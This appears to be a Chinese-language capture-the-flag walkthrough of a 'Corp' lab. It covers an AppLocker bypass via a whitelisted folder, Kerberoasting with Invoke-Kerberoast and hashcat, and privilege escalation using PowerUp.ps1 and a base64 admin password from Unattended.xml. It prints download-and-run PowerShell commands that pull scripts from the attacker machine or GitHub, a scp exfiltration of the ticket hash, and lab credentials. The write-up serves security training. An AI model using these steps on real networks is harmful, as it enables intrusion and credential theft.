Offensive Pentesting之Corp Walkthrough

前言

  • 绕过 Windows Applocker 并提升权限:如何在 Windows 系统上启动密钥、躲避反病毒软件、绕过应用程序锁定器并提升权限。

  • 涉及:

  1. Windows Forensics Windows取证
  2. Basics of kerberoasting kerberoasting基础
  3. AV Evading AV规避
  4. Applocker (应用程序控制策略)-利用白名单

部署

  • target machine : 10.10.33.77

  • attack machine : 10.11.61.123 (本机kali连接openVPN)

RDP to windows

xfreerdp /u:"corp\dark" /p:"_QuejVudId6" /cert:ignore /v:10.10.33.77

#或者使用remmina
#输入以下命令:remmina
#在弹出的remmina GUI界面输入目标ip:10.10.33.77
#Username: corp\dark
#Password: _QuejVudId6

Alt text

Bypassing Applocker 绕过Applocker

  • AppLocker(应用程序控制策略)是 Windows 7 所引入的应用程序白名单技术,它允许根据程序路径、程序发布者和程序哈希值来限制用户可以执行哪些程序。

    Alt text

  • 目标机上存在AppLocker机制,在已部署的目标机器上:无法执行自己的二进制文件,并且目标系统上的某些功能也受到了使用限制。

  • 有很多方法可以 绕过AppLocker,如果 AppLocker 配置了默认的 AppLocker 规则,就可以通过将想要执行的exe文件放在以下目录中来绕过 AppLocker 限制:C:\Windows\System32\spool\drivers\color - 默认情况下这会是目标系统上的白名单中的路径。

    • 绕过 AppLocker 的操作示例:先在目标机中使用Powershell命令 下载一个本地kali机上的可执行(exe)文件到目标机中,然后将该exe文件放置在目标机上的白名单目录下并尝试执行–最终发现能够成功执行该exe文件。
      # kali托管web服务
    
      ┌──(kali㉿kali)-[~/桌面/THM/corp]
      └─$ python3 -m http.server 8000 
      Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
    
      # 在目标机器上传输文件至白名单
    
      C:\Windows\System32\spool\drivers\color路径下
      powershell -c "(new-object System.Net.WebClient).Downloadfile('http://10.111.61.123:8000/whoami.exe', 'C:\Windows\System32\spool\drivers\color\whoami.exe')"
    
      # 或者
    
      Invoke-WebRequest -Uri http://10.11.61.123:8000/whoami.exe -OutFile C:/Windows/System32/spool/drivers/color/whoami.exe
    

    Alt text

  • 类似于Linux bash,Windows powershell 会将所有历史命令保存到一个名为 ConsoleHost_history 的文件中,该文件具体路径如下所示:

      %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
      #在本实验中 %userprofile% 为 c:\users\dark\
    
      type C:\Users\dark\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
    
      # 或者
    
      Get-Content -Path 'C:\Users\dark\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt'
    

    Alt text

Kerberoasting攻击

  • Kerberos 是 Windows 和 Active Directory 网络的身份认证系统;有许多针对 Kerberos认证 的攻击,在本实验中:将使用 Powershell 脚本为一个帐户请求服务票据并尝试获取票据的哈希值,然后破解这个哈希值并以此来访问相关的用户帐户(这个过程就是Kerberoasting攻击)。

  • Kerberoasting攻击原理如下:

    1. 攻击者对一个域进行身份验证,然后从域控制器获得一个 TGT 认证票据,该 TGT 认证票据用于以后的 ST(Service Ticket) 服务票据请求。

    2. 攻击者使用他们的 TGT 认证票据 发出 ST 服务票据请求 (TGS-REQ) 获取特定标识的 SPN,此 SPN 在域中应该是唯一的,并且在用户或计算机帐户的服务主体名称(servicePrincipalName)字段中注册;在服务票据请求 (TGS-REQ) 过程中,攻击者可以指定它们支持的 Kerberos 加密类型 (比如RC4_HMAC加密类型、AES256_CTS_HMAC_SHA1_96加密等等)。

    3. 如果攻击者的 TGT 是有效的,则 DC 将从 TGT 认证票据中提取信息并填充到 ST 服务票据中,然后,域控制器会查找哪个帐户在ServicedPrincipalName(服务主体名称)字段中注册了所请求的 SPN,ST 服务票据使用注册了所要求的 SPN 的帐户的 NTLM 哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST 服务票据将以服务票据回复 (TGS-REP) 的形式发送回攻击者。

    4. 攻击者从 TGS-REP 中提取加密的服务票据。由于服务票据是用链接到所请求的SPN的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,最后恢复帐户的明文密码并尝试进行登录操作。

  • Service Principal Name (SPN):服务主体名称(SPN)是赋予服务实例以将服务实例与域服务帐户相关联的标识符。

  • 实际操作:

    • 首先枚举 Windows信息,使用Powershell界面 运行命令 setspn -T medin -Q /以提取 SPN 所关联的帐户信息,SPN能够表示服务和账号的映射关系。
      #setspn -T domain.com -Q */*
      setspn -T corp.local -Q */*
    
      ## 指定一个无效域控名
      setspn -T medin -Q */*
    
      #CN=krbtgt,CN=Users,DC=corp,DC=local
      #CN=fela,CN=Users,DC=corp,DC=Local
    

    Alt text Alt text

  • 可以使用Invoke-Kerberoast来获取票据,需要先下载Invoke-Kerberoast所对应的Powershell 脚本到目标机上–输入以下命令即可:

    • tips:如果本地kali机已经下载了Invoke-Kerberoast.ps1脚本,可以使用find / -iname kerberoast.ps1 2>/dev/null检索该脚本位置并传输该ps1文件到目标机上。
      ┌──(kali㉿kali)-[~/桌面/THM/corp]
      └─$ find / -iname *kerberoast.ps1* 2>/dev/null
      /usr/share/powershell-empire/empire/server/data/module_source/credentials/Invoke-Kerberoast.ps1
    
    • 相关GitHub项目地址:https://github.com/EmpireProject/Empire
      wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
    
    • 本地kali 托管web服务
      ┌──(kali㉿kali)-[/usr/…/server/data/module_source/credentials]
      └─$ python3 -m http.server 8000
      Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
    
    • 目标机器下载脚本:
      powershell -c "(new-object System.Net.WebClient).Downloadfile('http://10.111.61.123:8000/Invoke-Kerberoast.ps1', 'C:\Windows\System32\spool\drivers\color\Invoke-Kerberoast.ps1')"
    

    Alt text

    • 目标机器加载Invoke-Kerberoast脚本到内存中 并查看脚本执行所得的结果:
      #注意:使用. .\可加载脚本到内存中执行,此处两个.符号之间有一个空格。
    
      . .\Invoke-Kerberoast.ps1
    
      Invoke-Kerberoast -OutputFormat hashcat | fl
    
      #Invoke-Kerberoast可以提取票据传输时的原始字节,然后转换成John the Ripper或者 HashCat 能够直接爆破的字符串
      #fl--format list 格式化输出,以行模式显示出属性及相应的值
    
      #此处也可以将包含hash值的SPN ticket导入到一个txt文件中(Invoke-Kerberoast -OutputFormat hashcat > hash.txt),然后使用scp传输txt到本地kali上。
      #首先要在kali上启动ssh(登录时默认不启动):$sudo systemctl start ssh
      #然后在目标机的终端界面中使用scp命令 scp hash.txt hekeats@kali-tun0-ip:22
    

    Alt text Alt text

    Alt text Alt text

    • hashcat搜索hash类型$krb5tgs$23$:

    Alt text

      ┌──(kali㉿kali)-[~/桌面/THM/corp]
      └─$ hashcat -m 13100 -a 0 hash1.txt /usr/share/wordlists/rockyou.txt --force
      ···
      $krb5tgs$23$*fela$corp.local$HTTP/fela*$cf5c92a00b9c163db3941542c053ed2c$6a376dc20092e7c19646ed4aa2e5270b00ccb3160e266f1fa2dbef13beb6fa5623851a284a4fceaa807f5dee9126334f29b29950377d28bed33e9d88c3e77fe2b807e534856d7519d270449472fcfe31cac7dc925cd87cae89925b89a949eabbe23ea8a0d2ee66ff9abd84d518828d2c98ddb3a8ba4b4361d34cca08c47f060e23a871a657995a2a33ec915a4e99af42ef9e4710c502ff592fc97e23164440ec2c3c9764a1dd8ed667ecef605de832a6a41b73c17d0571d7e9df968372bb46087c9c4b49ff4c12de3bb8d5e70b1add634eca42793a008808921c26bff911e948599a09d4517a7a4a42c3793ee8bf9d4a6c220e363641a6c867191a315ab8438501d0549a4fab99f7781a481ac7a7e44b4a64334e62d4c459ff6fb641b75142e40f8616e67227291db6325c168d34a898e8ae9bd57db7a527151707647496c7130af1c06a8ef2ab1dc795114dfc15ccded4abd310f01e93f5511e399898b19b034ee5dc643ce4169896149c75b7e38fd4ceeb4fb43116b6208b6e89df030e8f4c9f670b547a4de2af98042f01b34e06566d42352f17fe37b76929f9e8a0e025b82aceda0fe94adc935de85d288461ded699bca1f0c451448f80b75a3879bdc984d55757545ba3b1c80246351e4e2aa9b47242b4f1f364f6027fbc4c364e3d63518975748d4dbd46bc0e6a9f267c8bce3f7387ef27295ed7ccaf7c60da5736ceabaa918d9fa9bd6130b86515f8209b30e3e9bf8118b48e73015512698b404e966493bd466873b4244033683e6c97f8916a68a82f6326b28efbd904e8eda1934348973018d2d1056e2af58eebe973a73bff49ec826470035744ccad0cda27b1179bbe4e803a38eefb285014a515e346011ab5cb2e00fd79b66dd26c2a36abe5e34680d851c2e4bd5a5543f38173a6ccfabf871ff3dd4d84ea25d90325f971c07fa2d68071c0a39947c058205161fded3cd03b8b7dc28fa7b64a7229c42545135406d4cd8925b04819f44afb3838f670fd9ebcea1be73e7138f7dbabec9c5d94bb322b6be069474b0a31ff2b90b2e294036253d45f7bc20c6e25b98cc86f48d9b0a7fce4b7b1714000775cb91db415d0cdf86c5d9b93b51374a547bea72cc4d1d2f6eecc2c4958bede4004c14fba161a4440ce160b12fc11636d74ad71cac7f332527f3adb5f6301c7381e719a5feef3f7dd5b254e9355f2c10e48a8d7ac2a0b52d9d34ffdd53fc49dfa0803f0be449a8062f275b2834f9b5a02ef81f81982ed1f4d3ec55d6e2d3a2b054745435d940dbad884328a3bfb911ce9ebb181d9db21680de5a97717e97b669225fbd8723c0e60b4c9f1b5dd26717d9a6463aa04fd8b591b7709866e5841c713795d70047a3505904d7972e895dcdf4e8c511cc47aaae3a036:rubenF124
      ···
    
    • RDP登录尝试:
      xfreerdp /u:'corp\fela' /p:rubenF124 /cert:ignore /v:10.10.33.77
    

    Alt text

Privilege Escalation 权限升级

  • 这里重启过目标,target ip: 10.10.105.81

  • 使用 PowerUp.ps1 枚举脚本来检查 Windows 目标机器,然后可以确定获得管理员访问权限的最佳方式并进行提权操作。

  • kali本机查找脚本:

┌──(kali㉿kali)-[~/桌面/THM/corp]
└─$ find / -iname *PowerUp.ps1* 2>/dev/null
/home/kali/.cache/vmware/drag_and_drop/4bL2Mk/PowerUp.ps1
/home/kali/桌面/THM/steelmountion/PowerUp/PowerUp.ps1
/home/kali/桌面/THM/steelmountion/.PowerUp.ps1.swp
/home/kali/.local/share/Trash/files/THM/steelmountion/PowerUp/PowerUp.ps1
/home/kali/.local/share/Trash/files/THM/steelmountion/.PowerUp.ps1.swp
/usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1
/usr/share/powershell-empire/empire/server/data/module_source/privesc/PowerUp.ps1
                                                                                
┌──(kali㉿kali)-[~/桌面/THM/corp]
└─$ cd /usr/share/windows-resources/powersploit/Privesc/                       
  • 目标机获取脚本
#目标机上的白名单目录路径: C:\Windows\System32\spool\drivers\color

#先在本地机上下载所需的ps1脚本(下面的wget命令可能不需要,因为本地kali机中可能已经预装了PowerUp.ps1脚本):
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

#再使用命令托管脚本文件到本地机的HTTP服务器上:
python -m http.server 8000

#最后在目标机上使用以下命令获取ps1脚本文件:
Invoke-WebRequest -Uri http://10.11.61.123:8000/PowerUp.ps1 -OutFile C:\Windows\System32\spool\drivers\color\PowerUp.ps1

#切换到ps1脚本所在目录:
cd C:\Windows\System32\spool\drivers\color
dir
. .\PowerUp.ps1
Invoke-Allchecks

#方法二
#远程下载并执行文件
#iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1')

#方法三
#powershell -c "(new-object System.Net.WebClient).Downloadfile('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1', 'C:\Windows\System32\spool\drivers\color\PowerUp.ps1')"
#切换到ps1脚本所在目录:
#. .\PowerUp.ps1
#Invoke-Allchecks
┌──(kali㉿kali)-[/usr/share/windows-resources/powersploit/Privesc]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Alt text Alt text Alt text

  • 执行脚本之后,由结果可知该脚本已经确定了几种获得管理员访问权限的方法,第一个方法是绕过 UAC 提权,第二个方法是利用 UnattendedPath 提权。

    • “无人值守安装(Unattended Setup)是原始设备制造商 (OEMs)、公司和其他用户在无人值守模式下安装 Windows NT 的方法。”

    • 它也是用户密码以 base64 编码存储的地方:C:\Windows\Panther\Unattend\Unattended.xml.

  • 查看密码文件:

PS C:\Windows\System32\spool\drivers\color> type C:\Windows\Panther\Unattend\Unattended.xml
<AutoLogon>
    <Password>
        <Value>dHFqSnBFWDlRdjh5YktJM3lIY2M9TCE1ZSghd1c7JFQ=</Value>
        <PlainText>false</PlainText>
    </Password>
    <Enabled>true</Enabled>
    <Username>Administrator</Username>
</AutoLogon>
  • 本地kali解码:
┌──(kali㉿kali)-[~/桌面/THM/corp]
└─$ echo "dHFqSnBFWDlRdjh5YktJM3lIY2M9TCE1ZSghd1c7JFQ=" | base64 -d
tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T       
  • RDP登录完成提权:
#使用xfreerdp进行远程登录:
xfreerdp /u:'corp\Administrator' /p:'tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T' /cert:ignore /v:10.10.105.81

#或者使用remmina
#输入以下命令:remmina
#在弹出的remmina GUI界面输入目标ip:10.10.105.81
#Username: corp\Administrator
#Password: tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T

Reference

Corp

AD Other attack-Kerberoasting